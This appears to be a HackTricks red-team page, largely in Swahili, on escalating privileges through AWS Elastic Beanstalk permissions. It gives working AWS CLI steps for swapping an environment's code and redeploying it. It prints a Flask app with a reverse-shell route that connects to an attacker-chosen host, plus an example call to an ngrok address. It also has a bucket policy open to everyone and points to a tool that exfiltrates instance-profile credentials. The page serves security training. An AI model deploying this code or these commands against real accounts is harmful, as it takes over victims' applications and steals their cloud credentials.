AWS - Elastic Beanstalk Privesc

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Elastic Beanstalk

Taarifa zaidi kuhusu Elastic Beanstalk katika:

AWS - Elastic Beanstalk Enum

warning

Ili kufanya vitendo nyeti katika Beanstalk utahitaji kuwa na idhini nyingi nyeti katika huduma nyingi tofauti. Unaweza kuangalia kwa mfano idhini zilizotolewa kwa arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk

elasticbeanstalk:RebuildEnvironment, idhini za kuandika za S3 & mengi mengine

Kwa idhini za kuandika juu ya S3 bucket inayohifadhi code ya environment na idhini za kujenga upya application (inahitajika elasticbeanstalk:RebuildEnvironment na baadhi mengine yanayohusiana na S3, EC2 na Cloudformation), unaweza kubadilisha code, kujenga upya app na mara ijayo utakapoingia kwenye app itatekeleza code yako mpya, ikimruhusu mshambuliaji ku-compromise application na credentials za IAM role yake.

bash
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, na zaidi...

Zilizotajwa pamoja na idhini kadhaa za S3, EC2, cloudformation ,autoscaling and elasticloadbalancing ni muhimu kuunda mazingira ya msingi ya Elastic Beanstalk kutoka mwanzoni.

  • Unda application ya AWS Elastic Beanstalk:
bash
aws elasticbeanstalk create-application --application-name MyApp
bash
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Ikiwa mazingira tayari yameundwa na hautaki kuunda mpya, unaweza tu kusasisha yaliyopo.

  • Pakia application code na dependencies katika faili la ZIP:
python
zip -r MyApp.zip .
  • Pakia faili la ZIP kwenye S3 bucket:
python
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Tengeneza toleo la programu la AWS Elastic Beanstalk:
css
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Sambaza toleo la programu kwenye mazingira yako ya AWS Elastic Beanstalk:
bash
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Kwanza kabisa unahitaji kuunda legit Beanstalk environment na code unayotaka kuendesha kwenye victim ukifuata hatua zilizotangulia. Inawezekana kuwa zip rahisi inayojumuisha faili hizi 2:

python
from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Mara tu unapokuwa na Beanstalk env yako ikifanya kazi na rev shell yako, ni wakati wa kuhamisha kwenye env ya mwathirika. Ili kufanya hivyo unahitaji kusasisha Bucket Policy ya Beanstalk S3 bucket yako ili mwathirika aweze kuifikia (Kumbuka kwamba hii itaifungua Bucket kwa EVERYONE):

json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
bash
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks